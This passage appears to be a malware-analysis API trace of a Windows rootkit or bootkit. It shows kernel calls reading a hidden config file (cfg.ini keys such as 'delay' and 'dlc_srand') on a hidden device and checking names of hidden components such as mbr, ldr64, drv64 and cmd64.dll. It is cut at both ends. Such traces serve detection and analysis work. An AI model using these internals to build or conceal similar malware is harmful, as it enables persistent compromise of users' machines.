FastMutex=0xfffffa80027d3898) [0123.467] KeLeaveCriticalRegion () [0123.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.467] ReleaseMutex (hMutex=0x100) returned 1 [0123.467] Sleep (dwMilliseconds=0x2bf20) [0123.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ccabaf0, dwHighDateTime=0x1d24fa4)) [0123.475] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.475] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.475] KeEnterCriticalRegion () [0123.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.475] IdePortDispatch () returned 0x103 [0123.475] KeWaitForMutexObject () returned 0x0 [0123.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.475] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.475] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.476] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.476] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.476] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] KeLeaveCriticalRegion () [0123.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.476] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.476] KeEnterCriticalRegion () [0123.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] KeLeaveCriticalRegion () [0123.476] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.476] KeEnterCriticalRegion () [0123.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.476] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.476] IdePortDispatch () returned 0x103 [0123.476] KeWaitForMutexObject () returned 0x0 [0123.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] KeLeaveCriticalRegion () [0123.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.476] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.476] KeEnterCriticalRegion () [0123.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0123.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.476] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.476] IdePortDispatch () returned 0x103 [0123.478] KeWaitForMutexObject () returned 0x0 [0123.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.478] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.478] IdePortDispatch () returned 0x103 [0123.478] KeWaitForMutexObject () returned 0x0 [0123.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.478] KeLeaveCriticalRegion () [0123.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.479] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.479] KeEnterCriticalRegion () [0123.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] KeLeaveCriticalRegion () [0123.479] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.479] KeEnterCriticalRegion () [0123.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.479] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] KeLeaveCriticalRegion () [0123.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.479] KeEnterCriticalRegion () [0123.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.479] KeLeaveCriticalRegion () [0123.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.479] ReleaseMutex (hMutex=0xf0) returned 1 [0123.479] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.480] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.480] KeEnterCriticalRegion () [0123.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.480] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.480] IdePortDispatch () returned 0x103 [0123.480] KeWaitForMutexObject () returned 0x0 [0123.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.480] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.480] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.480] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.480] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.480] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becfb0 [0123.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.480] KeLeaveCriticalRegion () [0123.480] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.480] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.480] KeEnterCriticalRegion () [0123.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.480] KeLeaveCriticalRegion () [0123.480] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.480] KeEnterCriticalRegion () [0123.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.480] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.480] IdePortDispatch () returned 0x103 [0123.480] KeWaitForMutexObject () returned 0x0 [0123.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.481] KeLeaveCriticalRegion () [0123.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.481] KeEnterCriticalRegion () [0123.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0123.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.481] IdePortDispatch () returned 0x103 [0123.481] KeWaitForMutexObject () returned 0x0 [0123.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.481] IdePortDispatch () returned 0x103 [0123.482] KeWaitForMutexObject () returned 0x0 [0123.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.482] KeLeaveCriticalRegion () [0123.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.482] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.482] KeEnterCriticalRegion () [0123.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.482] KeLeaveCriticalRegion () [0123.482] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.482] KeEnterCriticalRegion () [0123.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.482] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.482] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.482] KeLeaveCriticalRegion () [0123.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.482] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.482] KeEnterCriticalRegion () [0123.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] ExFreePoolWithTag (P=0xfffffa8003becfb0, Tag=0x0) [0123.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] KeLeaveCriticalRegion () [0123.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.483] ReleaseMutex (hMutex=0xf0) returned 1 [0123.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.483] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.483] KeEnterCriticalRegion () [0123.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.483] IdePortDispatch () returned 0x103 [0123.483] KeWaitForMutexObject () returned 0x0 [0123.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.483] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.483] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.483] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.483] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.483] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb2f0 [0123.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] KeLeaveCriticalRegion () [0123.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.483] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.483] KeEnterCriticalRegion () [0123.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] KeLeaveCriticalRegion () [0123.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.483] KeEnterCriticalRegion () [0123.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.484] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.484] IdePortDispatch () returned 0x103 [0123.484] KeWaitForMutexObject () returned 0x0 [0123.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.484] KeLeaveCriticalRegion () [0123.484] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.484] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.484] KeEnterCriticalRegion () [0123.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0123.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.484] IdePortDispatch () returned 0x103 [0123.484] KeWaitForMutexObject () returned 0x0 [0123.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.484] IdePortDispatch () returned 0x103 [0123.484] KeWaitForMutexObject () returned 0x0 [0123.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] KeLeaveCriticalRegion () [0123.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.485] KeEnterCriticalRegion () [0123.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] KeLeaveCriticalRegion () [0123.485] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.485] KeEnterCriticalRegion () [0123.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.485] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] KeLeaveCriticalRegion () [0123.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.485] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.485] KeEnterCriticalRegion () [0123.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] ExFreePoolWithTag (P=0xfffffa8003beb2f0, Tag=0x0) [0123.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.485] KeLeaveCriticalRegion () [0123.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.485] ReleaseMutex (hMutex=0xf0) returned 1 [0123.485] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.486] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.486] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.486] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.486] KeEnterCriticalRegion () [0123.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.486] IdePortDispatch () returned 0x103 [0123.486] KeWaitForMutexObject () returned 0x0 [0123.486] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.486] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.486] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.486] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.486] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.486] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.486] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.486] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.486] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.486] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.486] _strnicmp (_Str1="", _Str="lsash.xp", 